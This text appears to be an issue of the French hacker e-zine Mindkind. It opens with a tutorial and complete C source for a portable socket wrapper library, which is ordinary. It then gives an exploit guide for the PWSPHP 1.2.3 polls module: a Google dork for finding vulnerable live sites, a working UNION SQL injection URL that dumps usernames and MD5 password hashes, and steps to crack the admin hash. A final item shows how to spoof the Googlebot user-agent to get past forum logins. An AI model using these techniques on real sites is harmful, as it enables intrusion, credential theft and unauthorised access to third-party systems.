Par lâcheté? Pour la réutilisation de code? <Entrez votre raison ici>? Les
sockets peuvent être un vrai "pain in the ass": Vérifier si c'est bien un
IP, version doted ou long, sinon faire la requête DNS pour obtenir le IP
associé au nom de l'hôte; vérifier si le port est valide; initialisation
du winsock (sous windows duh!); envoyer toutes les données d'un buffeur
quelconque; manipuler les sockets non bloquant avec un système de polling
[select()]; etc. Alors, pourquoi ne pas faire une fois pour toutes un
ensemble de fonctions qui vont faciliter ces tâches en réduisant le code à
produire lors de futures projets.
3. Portabilité
3.1 Windows vs Linux
Pour ceux qui ont eu l'occasion de jouer avec les sockets sur Linux ET
sur Windows, la manipulation des sockets est très similaire à quelques
détails près. L'ensemble des fonctions de base comme socket(), listen(),
recv(), send(), accept(), etc. sont présente sur les deux plateformes et
utilise les mêmes paramètres. Mais il y à quelques petites différences du
genre un socket sous linux est de type INT mais sous windows c'est un
UNSIGNED INT. Sous windows on doit absolument initialisé winsock avant
pouvoir manipuler un socket. De plus, certaines fonctions sous linux ne
se retrouvent pas sous windows ou ne prennent simplement pas les mêmes
arguments.
Il est donc désagréable, pour quelqu'un qui tente de créer une
application portable sur ces deux plateformes, d'écrire une application
qui utilise les sockets. Il serait donc plus pratique de se créer une
librairie de fonctions manipulant les sockets qui serait indépendante de
la plateforme sous laquelle elle est compilée. Dans ce cours texte, nous
allons nous concentrer uniquement sur linux et windows.
3.2 IPv4 vs IPv6
Malgré le fait que IPv6 ne soit pas grandement répandu, il se peut
qu'un jour nous aurons besoin de coder une application qui utilisera
IPv6. Comme IPv6 passe certains paramètres qui diffèrent de ce que IPv4
utilise généralement et certaines fonctions ne sont compatibles qu'avec
IPv4. Ces différences augmentent l'effort et le temps qu'un progammeur
doit investir lors du développement d'une application utilisant les
sockets. Nous allons nous concentrer seulement sur le proticol IPv4
puisqu'il s'agit simplement d'un texte explicatif/éducatif et il sera
plus facile de lire et comprendre le code en réduisant le nombre de
#ifdef, #ifndef, etc.
4. Comment
4.1 Fonctions de base
Il existe plusieurs fonctions pour la manipulation des sockets,
certaines sont essentielles, d'autre moins. Certaines sont
majoritairement utilisées comme support pour d'autres fonctions plus
primordiales. Voici donc la liste des fonctions de base que nous allons
tenter de porter:
socket() - crée un socket
bind() - attache un socket a une adresse et/ou un port
connect() - ouvre une connexion sur un hôte distant
listen() - écoute pour des connexions entrantes
accept() - autorise une connexion entrante
read() - lire les données reçues de l'hôte
write() - envoie des données à l'hôte
close() - ferme un socket
4.2 Autres fonctions
Toutes autres fonctions ne seront pas portées même si certaines seront
utilisées dans les wrapes que nous allons créer. Le but de ce texte
n'étant pas de fournir une librairie complète, mais bien de produire
un template sur lequel nous pourrons travailler et, idéalement,
améliorer.
Nous allons néanmoins créer quelques fonctions qui nous seront utiles
pour la manipulation des sockets. Elles serviront, entre autres, à
valider une adresse ip en format dotted (192.158.0.1), d'initialiser
l'environnement (majoritairement sous windows), de récupérer les erreurs
socket, etc.
5. Code
Nous voici donc au moment attendu, l'implémentation de notre librairie. Le
code sera divisé par fichier. Les délimiteurs suivants marque le début et la
fin du code d'un fichier:
=---------------------------BEGIN file.x --------------------------------=
=---------------------------END file.x ----------------------------------=
C'est un départ!
=---------------------------BEGIN nsocket.h -----------------------------=
/*
* fichier: nsocket.h
* auteur : ninja
* date : 13 May 2006
* desc :
* Déclaration des structutures et fonctions permettant une
* manipulation plus facile des sockets.
*
*/
#ifndef NSOCKET_H_INCLUDE
#define NSOCKET_H_INCLUDE
#if defined (_WIN32) || defined (WIN32)
#include <winsock2.h>
#else
#include <sys/types.h>
#include <sys/socket.h>
#define SOCKET int /* va nous permettre d'utiliser SOCKET comme type
sous linux. Sous win, SOCKET == unsigned int */
#define INVALID_SOCKET -1
#endif
#define NSOCKLISTENMAX 50 /* longueur max pour la file des connexionsen
attente*/
#define NSOCK_TCP 0x001 /* socket de type TCP. Defaut */
#define NSOCK_UDP 0x002 /* socket de type UDP. Defaut à TCP */
#define NSOCK_NONBLOCK 0x004 /* socket non-bloquant. Defaut à bloquant */
#define NSOCK_BIND 0x008 /* binder le socket. Defaut pas de bind() */
#define NSOCK_CLIENT 0x010 /* Defaut */
#define NSOCK_SERVER 0x020 /* socket en mode écoute */
#define NSOCK_CONNECTING 0x040 /* socket essaie de se connecter à un hôte */
#define NSOCK_CLOSED 0x100 /* socket fermé */
#define NSOCK_DEFAULT 0x011 /* NSOCK_TCP & NSOCK_CLIENT */
/* Permet de contrôler si nsocket doit afficher les erreur lui-même ou non */
extern int NSOCKET_DO_VERBOSE;
typedef struct nsocket_options_s nsocket_options_t, *pnsocket_options_t;
typedef struct nsocket_s nsocket_t, *pnsocket_t;
/* cette structure contiens toutes les infos de base niveau pour la manipulation
des socekts */
struct nsocket_options_s {
SOCKET sockfd; /* socket file descriptor */
int pf; /* protocol family - defaut: PF_INET */
int type; /* socket type - defaut: SOCK_STREAM */
int protocol; /* defaut: (IPPROTO_TCP) */
int af; /* address family - defaut: AF_INET */
struct sockaddr my_addr;
struct sockaddr peer_addr;
int flags; /* holds NSOCK_ flags */
};
/* contien les infos de haut niveau comme les ips en version dotted et les
ports en Host Bits Order */
struct nsocket_s {
char* peer_ip; /* remote ip */
unsigned int peer_port; /* remote port */
char* my_ip; /* my ip */
unsigned int my_port; /* my port */
struct nsocket_options_s opts;
};
/* fonctions pour la manipulation des sockets.
voir nsocket.c pour plus de détails sur leurs fonctionnalités */
int nsocket_init();
int nsocket_shutdown();
int nsocket_isvalideip(const char *ip);
int nsocket_get_error(pnsocket_t s);
int nsocket_set_nonblock(pnsocket_t s, unsigned long value);
pnsocket_t nsocket_create(int flags);
int nsocket_bind(pnsocket_t s, const char *my_ip, int my_port);
int nsocket_connect(pnsocket_t s, const char *peer_ip, int peer_port);
int nsocket_listen(pnsocket_t s);
pnsocket_t nsocket_accept(pnsocket_t s);
int nsocket_read(pnsocket_t s, char* data, int size);
int nsocket_write(pnsocket_t s, const char* data, int size);
int nsocket_close(pnsocket_t s);
int nsocket_free(pnsocket_t s);
int nsocket_opts_init(pnsocket_options_t opts);
int nsocket_opts_free(pnsocket_options_t opts);
void nsocket_perror(pnsocket_t s, const char *fname, const char *cname);
#endif /* not define NSOCKET_H_INCLUDE */
=---------------------------END nsocket.h -------------------------------=
=---------------------------BEGIN nsocket.c -----------------------------=
/*
* fichier: nsocket.c
* auteur : ninja
* date : 13 May 2006
* desc :
* Implémentation des fonctions permettant une manipulation plus facile
* des sockets.
*
*/
#if defined (_WIN32) || defined (WIN32)
#include <winsock2.h>
#else
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define _GNU_SOURCE /* needed if we want to use strdup */
#endif
#include <string.h> /* malloc(), free()[WIN32], _strdup()[WIN32] */
#include <stdlib.h> /* free() */
#include <stdio.h> /* printf(), stdout */
#include "nsocket.h"
#if defined (_WIN32) || defined (WIN32)
#define strdup _strdup
static WSADATA wsaData; /* si ça ne fonctionne pas */
/*static WSAData wsaData; /* alors essayez ceci */
#endif
/* Permet de contrôler si nsocket doit afficher les erreurs lui-même ou non.
Par défaut, nsocket affiche un message d'erreur */
int NSOCKET_DO_VERBOSE = 1;
/* nsocket_init()
* 0: w00t
* -1: operation fail
*
* Sous windows nous devons absolument initialiser l'environnement Winsock
* sinon tout appel aux fonctions de manipulation de socket va échouer.
*/
int nsocket_init() {
#if defined (_WIN32) || defined (WIN32)
WORD wVersionRequested; // version winsock demandé
wVersionRequested = MAKEWORD(2, 2);
if(WSAStartup(wVersionRequested, &wsaData) != 0)
return -1; /* aucune DLL winsock valide n'a été trouvé */
/* Vérifier si la DLL winsock support bien la version 2.2. */
/* Notez que même si la DLL support une version suppérieur à 2.2, tout en */
/* supportant la 2.2, la valeur retourner dans wVersion sera 2.2 puisque */
/* c'est ce que nous avons demandé. */
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) {
WSACleanup();
return -1; /* aucune DLL winsock valide n'a été trouvé */
}
#endif
return 0;
}
/* nsocket_shutdown()
* 0 : w00t
* non zero: operation fail
*
* Comme nous devons initialiser l'environnement Winsock avant l'utilisation
* de socket, nous devons aussi libérer/nettoyer l'environnement après
* utilisation.
*/
int nsocket_shutdown() {
#if defined (_WIN32) || defined (WIN32)
// on nettoie l'environnement winsock
return WSACleanup();
#else
return 0;
#endif
}
/* nsocket_isvalideip()
* -1: invalide dotted address
* 0: valide dotted address
*
* Valide si l'ip passé en paramètre est bien un ip en format dotted
* ex.: 127.0.0.1
*/
int nsocket_isvalideip(const char* ip)
{
#if defined (_WIN32) || defined (WIN32)
struct sockaddr addr;
int size;
/* initialise la mémoire a zéro */
memset(&addr,0,sizeof(addr));
addr.sa_family = AF_INET; /* si on ne spécifie pas, WSAStringToAddress
échoue avec WSAEINVAL (10022) */
size = sizeof(addr);
if (WSAStringToAddress((LPTSTR)ip,AF_INET,NULL,&addr,&size) == 0)
return 0;
#else
struct in_addr iaddr4;
/* nous utilisons inet_pton même si il ne s'agit pas d'un IPv4 puisque
cette fonction supporte IPv6 et IPv4. De plus elle est fortement
recommandée au lieu de inet_aton */
if (inet_pton(AF_INET,ip,&iaddr4) > 0)
return 0;
#endif
/* ip invalide */
return -1;
}
/* nsocket_get_error()
* retourne le code d'erreur du socket
*/
int nsocket_get_error(pnsocket_t s)
{
int size, err;
if(s == NULL)
return 0;
size = sizeof(int);
err = 0;
getsockopt(s->opts.sockfd, SOL_SOCKET, SO_ERROR, (char*)&err, &size);
return(err);
}
/* nsocket_set_nonblock()
* 0 : w00t
* non zero: operation fail
*
* Nous permet de mettre, ou non, le socket en mode non bloquant
*/
int nsocket_set_nonblock(pnsocket_t s, unsigned long value)
{
if(s == NULL)
return 0;
#if defined (_WIN32) || defined (WIN32)
return ioctlsocket(s->opts.sockfd, FIONBIO, &value);
#else
int oldflags = fcntl(s->opts.sockfd, F_GETFL, 0);
if (oldflags == -1) return -1;
if (value != 0) oldflags |= O_NONBLOCK;
else oldflags &= ~O_NONBLOCK;
return fcntl(s->opts.sockfd, F_SETFL, oldflags);
#endif
}
/* nsocket_create
* pnsocket: pointer sur le nouveau socket
* NULL: Erreur
*/
pnsocket_t nsocket_create(int flags) {
pnsocket_t s;
int i;
/* Sanitarisation (w00t nouveau terme) des flags ...*/
if(flags & NSOCK_UDP && flags & NSOCK_TCP) flags &= ~NSOCK_UDP;
if(flags & NSOCK_SERVER && flags & NSOCK_CLIENT) flags &= ~NSOCK_SERVER;
flags &= ~NSOCK_CONNECTING;
flags |= NSOCK_CLOSED;
/* alloue la mémoire pour le nouveau socket */
s = (pnsocket_t)malloc(sizeof(nsocket_t));
/* Initialisation des données membres... */
s->peer_ip = NULL;
s->peer_port = 0;
s->my_ip = NULL;
s->my_port = 0;
/* Initialisation des options... */
nsocket_opts_init(&s->opts);
/* Copie des flags demandé... */
s->opts.flags = flags;
/* Est-ce que le socket doit être UDP ou TCP */
if(flags & NSOCK_UDP) {
s->opts.type = SOCK_DGRAM;
s->opts.protocol = IPPROTO_UDP;
}
else {
s->opts.type = SOCK_STREAM;
s->opts.protocol = IPPROTO_TCP;
}
/* Création du socket */
if ((s->opts.sockfd = socket(s->opts.af, s->opts.type,
s->opts.protocol)) == INVALID_SOCKET) {
nsocket_perror(s, "nsocket_create()", "socket");
return NULL;
}
/* Est-ce que nous voulons un socket non bloquant? */
if (flags & NSOCK_NONBLOCK)
i=1;
else
i=0;
if(nsocket_set_nonblock(s, i) !=0) {
nsocket_perror(s, "nsocket_create()", "nsocket_set_nonblock");
return NULL;
}
return(s);
}
/* nsocket_bind
* -1 : une erreur c'est produite
* 0 : nsocket invalide ou le bit NSOCK_BIND n'est pas présent
* 1 : w00t
*/
int nsocket_bind(pnsocket_t s, const char *my_ip, int my_port) {
#if defined (_WIN32) || defined (WIN32)
struct sockaddr addr;
int addr_len;
#else
struct in_addr addr4;
#endif
int yes;
if(s == NULL)
return 0;
if (!(s->opts.flags & NSOCK_BIND || s->opts.flags & NSOCK_SERVER))
return 0;
/* Vérifie si le ip est valide */
if(nsocket_isvalideip(my_ip) != 0) {
nsocket_perror(s, "nsocket_bind()", "nsocket_isvalideip");
return -1;
}
/* Vérifie si le port de l'hôte est valide */
if (my_port < 0 || my_port > 65535) {
nsocket_perror(s,"nsocket_bind()", "port invalide");
return -1;
}
/* Libère l'espace mémoire si déjà alloué... */
if(s->my_ip) free(s->my_ip);
/* Archivage du ip et du port... */
s->my_ip = strdup(my_ip);
s->my_port = my_port;
/* On veut utiliser le port même si il est pris par une autre application.
Surtout utile pour un socket en mode listen */
yes=1;
setsockopt(s->opts.sockfd,SOL_SOCKET,SO_REUSEADDR,
(char*)&yes,sizeof(int));
/* !!! ATTENTION !!!
Le code qui suit est EXTRÊMEMENT laid, et est juste un big hack pour
contourner certains problèmes d'assignation et de typecasting.
Vous avez été prévenu...
<hack type="laid" size="gros">
*/
((struct sockaddr_in*)&s->opts.my_addr)->sin_family = AF_INET;
((struct sockaddr_in*)&s->opts.my_addr)->sin_port =
htons((u_short)my_port);
#if defined (_WIN32) || defined (WIN32)
memset(&addr,0,sizeof(addr));
((struct sockaddr_in*)&addr)->sin_family = AF_INET;
addr_len = sizeof(addr);
if (WSAStringToAddress(s->my_ip,s->opts.af,NULL,&addr,&addr_len) != 0)
return -1; /* ne devrait jamais se produire */
((struct sockaddr_in*)&s->opts.my_addr)->sin_addr =
((struct sockaddr_in*)&addr)->sin_addr;
#else
if (inet_pton(AF_INET,s->my_ip,&addr4) <= 0)
return -1; /* ne devrait jamais se produire */
((struct sockaddr_in*)&s->opts.my_addr)->sin_addr = addr4;
#endif
/* </hack> */
if (bind(s->opts.sockfd, &s->opts.my_addr,
sizeof(s->opts.my_addr)) == -1) {
nsocket_perror(s, "nsocket_bind()", "bind");
return -1;
}
return 1;
}
/* nsocket_connect
* -1: une erreur est survenue lors de la tentative/processus de connexion
* 0: erreur, nsocket invalide ou nsocket en mode SERVER (listen)
* 1: w00t
*/
int nsocket_connect(pnsocket_t s, const char *peer_ip, int peer_port) {
#if defined (_WIN32) || defined (WIN32)
struct sockaddr addr;
int addr_len;
#else
struct in_addr addr4;
#endif
if(s == NULL)
return 0;
if (!(s->opts.flags & NSOCK_CLIENT))
return 0;
/* Vérifie si le ip de l'hôte est valide */
if(nsocket_isvalideip(peer_ip) != 0) {
nsocket_perror(s, "nsocket_connect()", "nsocket_isvalideip");
return -1;
}
/* Vérifie si le port de l'hôte est valide */
if (peer_port < 0 || peer_port > 65535) {
nsocket_perror(s,"nsocket_connect()", "port invalide");
return -1;
}
/* Libère l'espace mémoire si déjà alloué... */
if(s->peer_ip) free(s->peer_ip);
/* Archivage du ip et du port... */
s->peer_ip = strdup(peer_ip);
s->peer_port = peer_port;
/* !!! ATTENTION !!!
Le code qui suit est EXTRÊMEMENT laid, et est juste un big hack pour
contourner certains problèmes d'assignation et de typecasting.
Vous avez été prévenu...
<hack type="laid" size="gros">
*/
((struct sockaddr_in*)&s->opts.peer_addr)->sin_family = AF_INET;
((struct sockaddr_in*)&s->opts.peer_addr)->sin_port =
htons((u_short)peer_port);
#if defined (_WIN32) || defined (WIN32)
memset(&addr,0,sizeof(addr));
((struct sockaddr_in*)&addr)->sin_family = AF_INET;
addr_len = sizeof(addr);
if (WSAStringToAddress(s->peer_ip,s->opts.af,NULL,&addr,&addr_len) != 0)
return -1; /* ne devrait jamais se produire */
((struct sockaddr_in*)&s->opts.peer_addr)->sin_addr =
((struct sockaddr_in*)&addr)->sin_addr;
#else
if (inet_pton(AF_INET,s->peer_ip,&addr4) <= 0)
return -1; /* ne devrait jamais se produire */
((struct sockaddr_in*)&s->opts.peer_addr)->sin_addr = addr4;
#endif
/* </hack> */
s->opts.flags |= NSOCK_CONNECTING; /* connexion en cours */
if (connect(s->opts.sockfd, &s->opts.peer_addr,
sizeof(s->opts.peer_addr)) == -1) {
/* On ne peut attendre que connect() retourne une error si nous
avons configurer le socket en mode non bloquant puisque connect()
va toujours retourner une erreur: EINPROGRESS (linux)
ou WSAEWOULBLOCK (win32) */
if (s->opts.flags & NSOCK_NONBLOCK &&
#if defined (_WIN32) || defined (WIN32)
WSAGetLastError() == WSAEWOULDBLOCK
#else
errno == EINPROGRESS
#endif
)
{
s->opts.flags &= ~NSOCK_CLOSED; /* pas vraiment l'endroit idéal
pour le faire mais ça doit
être fait */
return 1;
}
nsocket_perror(s, "nsocket_connect()", "connect");
return -1;
}
/* si nous somme ici, c'est que le socket en en mode bloquant donc
connect() à réussie */
s->opts.flags &= ~NSOCK_CONNECTING;
s->opts.flags &= ~NSOCK_CLOSED;
return 1;
}
/* nsocket_listen()
* -1 : une erreur c'est produite
* 0 : nsocket invalide où le bit NSOCK_SERVER n'est pas présent
* 1 : w00t
*/
int nsocket_listen(pnsocket_t s) {
if(s == NULL)
return 0;
if (!(s->opts.flags & NSOCK_SERVER))
return 0;
if (listen(s->opts.sockfd, NSOCKLISTENMAX) == -1) {
nsocket_perror(s, "nsocket_listen()", "listen");
return -1;
}
s->opts.flags &= ~NSOCK_CLOSED; /* l'appel à listen() a réussie,
donc le socket n'est plus dans
l'état 'fermé' */
return 1;
}
/* nsocket_accept
* pnsocket: pointer sur le nouveau socket
* NULL: Erreur
*/
pnsocket_t nsocket_accept(pnsocket_t s) {
pnsocket_t new_sock;
int sin_size, flags;
if(s == NULL)
return NULL;
flags = NSOCK_DEFAULT;
if (s->opts.flags & NSOCK_UDP)
return NULL; /* accept ne peut être appelé sur des socket UPD */
if (s->opts.flags & NSOCK_NONBLOCK)
flags |= NSOCK_NONBLOCK;
if((new_sock = nsocket_create(flags)) == NULL)
return NULL;
sin_size = sizeof(struct sockaddr);
if ((new_sock->opts.sockfd = accept(s->opts.sockfd,
&new_sock->opts.peer_addr, &sin_size)) == -1) {
nsocket_perror(s,"nsocket_accept()","accept");
return NULL;
}
new_sock->opts.flags &= ~NSOCK_CLOSED; /* l'appel à accept() a réussie,
donc le socket n'est plus dans
l'état 'fermé' */
return new_sock;
}
/* nsocket_read
* -1: une erreur c'est produite
* 0: connexion fermé par l'hôte
* >0: nombre d'octects reçus
*/
int nsocket_read(pnsocket_t s, char* data, int size) {
int nbytes;
if(s == NULL)
return -1;
if (!data || size <= 0) /* si mémoire non allouée ou taille invalide */
return 0;
if ((nbytes=recv(s->opts.sockfd, data, size, 0)) == -1) {
/* si notre socket est en mode non bloquant qu'il n'y a aucune données
dans la file d'attente du socket, recv retourne WSEWOULDBLOCK (win)
ou EAGAIN (linux) */
if ((s->opts.flags & NSOCK_NONBLOCK) &&
#if defined (_WIN32) || defined (WIN32)
WSAGetLastError() == WSAEWOULDBLOCK
#else
errno == EAGAIN
#endif
)
return -1; /* on retourne -1 mai ce n'est pas une erreur critique
il faut donc vérifier WSAGetLastError ou errno pour
s'assurer qu'il s'agit bien de WSAEWOULDBLOCK ou
EAGAIN
Je sais ce n'est pas très pratique, parce que VOUS
devez faire la vérification, mais je vais penser à
quelque chose pour arranger ça plus tard */
nsocket_perror(s, "nsocket_read()", "recv");
#if defined (_WIN32) || defined (WIN32)
if (WSAGetLastError() == WSAECONNRESET) /* connection reset
Je n'ai pas chercher pour
l'équivalent linux encore */
nsocket_close(s);
#endif
return(-1);
}
if (nbytes == 0) { /* connection closed by peer */
nsocket_perror(s, "nsocket_read()", "recv [conn. closed]");
nsocket_close(s);
return(0);
}
return(nbytes);
}
/* nsocket_write
* -1: une erreur c'est produite
* n: nombre d'otects envoyés
*/
int nsocket_write(pnsocket_t s, const char* data, int size) {
int n;
if(s == NULL)
return -1;
if (!data || size <= 0) /* si aucune donnée ou taille invalide */
return 0;
if((n = send(s->opts.sockfd, data, size, 0)) == -1) {
nsocket_perror(s, "sock_got_write()", "send");
return(-1);
}
return(n);
}
/* nsocket_close()
* -1: une erreur s’est produite
* 0: w00t
*/
int nsocket_close(pnsocket_t s) {
if(s == NULL)
return 0;
if(s->opts.sockfd == INVALID_SOCKET)
return 0;
if(s->opts.flags & NSOCK_CLOSED)
return 0;
#if defined (_WIN32) || defined (WIN32)
if (shutdown(s->opts.sockfd, SD_BOTH) == -1) {
#else
if (shutdown(s->opts.sockfd, SHUT_RDWR) == -1) {
#endif
nsocket_perror(s, "nsocket_close()", "shutdown");
return(-1);
}
#if defined (_WIN32) || defined (WIN32)
if (closesocket(s->opts.sockfd) == -1) {
#else
if (close(s->opts.sockfd) == -1) {
#endif
nsocket_perror(s, "nsocket_close()", "close");
return(-1);
}
nsocket_opts_free(&s->opts);
return(0);
}
/* nsocket_free
* -1: pointer invalide
* 0: w00t
*
* Libère un socket créer via nsocket_create ou nsocket_accept
*/
int nsocket_free(pnsocket_t s) {
if(!s)
return(-1);
if(s->peer_ip) free(s->peer_ip);
s->peer_ip = NULL;
s->peer_port = 0;
if(s->my_ip) free(s->my_ip);
s->my_ip = NULL;
s->my_port = 0;
free(s);
s = NULL;
return(0);
}
/* nsocket_opts_init
* -1: nsocket_options_t invalide
* 0: w00t
*/
int nsocket_opts_init(pnsocket_options_t opts) {
if (!opts)
return -1;
opts->sockfd = INVALID_SOCKET;
opts->pf = PF_INET;
opts->type = SOCK_STREAM;
opts->protocol = IPPROTO_TCP;
opts->af = AF_INET;
memset(&(opts->my_addr), '\0', sizeof(opts->my_addr));
memset(&(opts->peer_addr), '\0', sizeof(opts->peer_addr));
opts->flags = NSOCK_CLOSED;
return 0;
}
/* nsocket_opts_free
* -1: nsocket_options_t invalide
* 0: w00t
*/
int nsocket_opts_free(pnsocket_options_t opts) {
if (!opts)
return -1;
memset(opts, '\0', sizeof(nsocket_options_t));
return 0;
}
/* nsocket_perror()
* print errno, socket error code and on win32 platform, WSAGetLastError()
*/
void nsocket_perror(pnsocket_t s, const char *fname, const char *cname) {
if(s == NULL)
return;
if (NSOCKET_DO_VERBOSE)
#if defined (_WIN32) || defined (WIN32)
printf("\n\t[E] %s: %s - errno: %d SO_ERROR: %d WSAGetLastError: %d\n",
fname,cname,errno,nsocket_get_error(s),WSAGetLastError());
#else
printf("\n\t[E] %s: %s - errno: %d SO_ERROR: %d\n",fname,cname,errno,
nsocket_get_error(s));
#endif
}
=---------------------------END nsocket.c -------------------------------=
=---------------------------BEGIN test.c --------------------------------=
#include <stdio.h>
#include <string.h>
#include "nsocket.h"
int main(void) {
pnsocket_t s;
char buf[1024];
int nbytes;
/* initialisation */
if(nsocket_init() ==-1)
return(-1);
/* création du socket */
if ((s = nsocket_create(NSOCK_DEFAULT)) == NULL)
return(-1);
/* on lance le connect */
if (nsocket_connect(s,"72.14.203.104",80) == -1) {
nsocket_perror(s,"main()","nsocket_connect()");
nsocket_close(s);
nsocket_free(s);
return(-1);
}
strcpy(buf, "GET / HTTP/1.0\n\n");
if (nsocket_write(s,buf,strlen(buf)) == -1) {
nsocket_close(s);
nsocket_free(s);
return(-1);
}
if ((nbytes = nsocket_read(s,buf,1024)) == -1) {
nsocket_close(s);
nsocket_free(s);
return(-1);
}
fwrite("[Read]\n",sizeof(char),7,stdout);
if (nbytes)
fwrite(buf,sizeof(char),nbytes,stdout);
/* on ferme le socket */
nsocket_close(s);
nsocket_free(s);
/* clean up */
nsocket_shutdown();
return(0);
}
=---------------------------END test.c ----------------------------------=
6. Conclusion
C'est la partie que je déteste probablement le plus, alors je vais faire ça
"sweet and short " comme diraient nos copains anglophones. Si vous trouvez
cet article intéressant, utile ou que vous l'avez détesté; faites-moi-le
savoir. Bien sûr, si vous n'avez pas aimé dites-moi au moins pourquoi, de
façon constructive et non pas juste un chargement d'insulte. Croyez-moi, je
sais à qui parler pour en avoir. Sur ce, à une prochaine fois. Oh! Juste
comme ça, en passant. Ce code est loin d'être parfait. Je l'ai testé
rapidement sur windows et linux mais il y a surement de l'optimisation à
faire et peut-être un ou deux bugs. Mais le but de ce texte n'est que de
vous donner un exemple ou une base pour un éventuel re-write.
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\.
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O4 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Exploit PWSPHP V1.2.3 ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] |Folcan| [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
Prérequis :
Portail PWSPHP Version 1.2.3 ou intérieur
Module de sondage non patché
Utilitaire de crackage de md5 de type JTR ou Cain
Pour Cain : www.oxid.it/cain.html
Faille :
La faille est de type SQL Injection dans l’url, et réside dans une injection de type Union.
En effet, les modules de sondage filtrent mal la variable « Id », et permettent d’exploiter une
injection SQL à des fins malicisieuse.
Vulnérabilité découverte par papipsycho
Date de parution de la faille : 27/02/2006
Utilisation :
Pour commencer, il faut trouver une version faillible, pour cela, google est votre meilleur ami !
En effet, le puissant moteur de recherche permet de faire une recherche en fonction de l’url.
Nous savons que ce type de portail avec le module de sondage comportera toujours l’url suivante :
www.exemple.com/index.php?mod=sondages
Il nous suffit alors de taper sous google :
inurl:index.php?mod=sondages
Vous tombez alors sur une liste de près de 1700 portails faillible.
Après quelques tests, nous arrivons sans mal trouver un site faillible que nous nommerons :
www.sitefaillible.com/index.php?mod=sondage
Et cela nous donne :
Voici l’url préformaté du union pour exploiter la faille :
www.sitefaillible.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,
pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
Vous tomberez alors, si le site est faillible, sur les résultats des sondages, par users, avec en
prime, leur mot de passes cryptés en md5 !!!
Comme par exemple :
Il nous suffit de connaitre alors le login de l’admin, en fesant une recherche sur le forum du
pseudo Administrateur.
Ici, le pseudo était Olivier, et le mot de passe crypté : b5f2196812e36999f1358e365799d085
Lançons maintenant notre fameux Cain et crackons le md5 :
topic
_________________________________________________________
|
Entre-Articles Ninja |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Google est VRAIMENT votre ami ]
|
| Il vous est surement déjà arrivé de lancer une recherche dans votre moteur de
| recherche préféré (prenons Google en exemple) et d'avoir dans les résultats des
| liens vers des forums. Bon, jusqu'ici tout est normal. Mais il vous est surement
| arriver de suivre un de ces liens et de vous buter à une page d'identification
| (login). Même s’il peut paraitre frustrant à première vu que vous n'aurez pas
| accès à cette information précieuse que vous tenié à trouver. Détrompez-vous! Il
| vous suffis de vous posez la question suivante: Comment se fait-il que Google,
| via son webcrawler, aie eu accès à cette page? La réponse est forte simple: le
| forum ne demande pas a Google, ou plutôt a Googlebot, de s'identifier. Pourquoi?
| Et bien, pourquoi limité les chances de son site à apparaitre sur l'engin de
| recherche? Alors, j'espère que les petits vites d'esprit on comprit qu'il suffit de
| se faire passer pour Googlebot pour contourner la page d'identification et de
| parcourir en toute tranquillité un forum qui nous serait autrement interdit.
|
| Voici un exemple de forum sur lequel ce petit work-around fonctionne:
|
| http://www.governmentsecurity.org/forum/index.php
|
| Il vous faut modifier le user-agent de votre navigateur avant d'accéder à la au
| forum en question. Prenons Firefox en exemple, il faut taper about:config dans la
| bar d'adresse et de modifier la valeur de la clef suivante:
|
| general.useragent.override
|
| NOTE: Vous aurez probablement à créer cette clef puisqu'elle n'existe
____| pas par défaut.
pour y mettre:
Googlebot/2.1 (+http://www.googlebot.com/bot.html)
Pour IE, il vous faut modifier la base de registre. Allez sur la clef suivante:
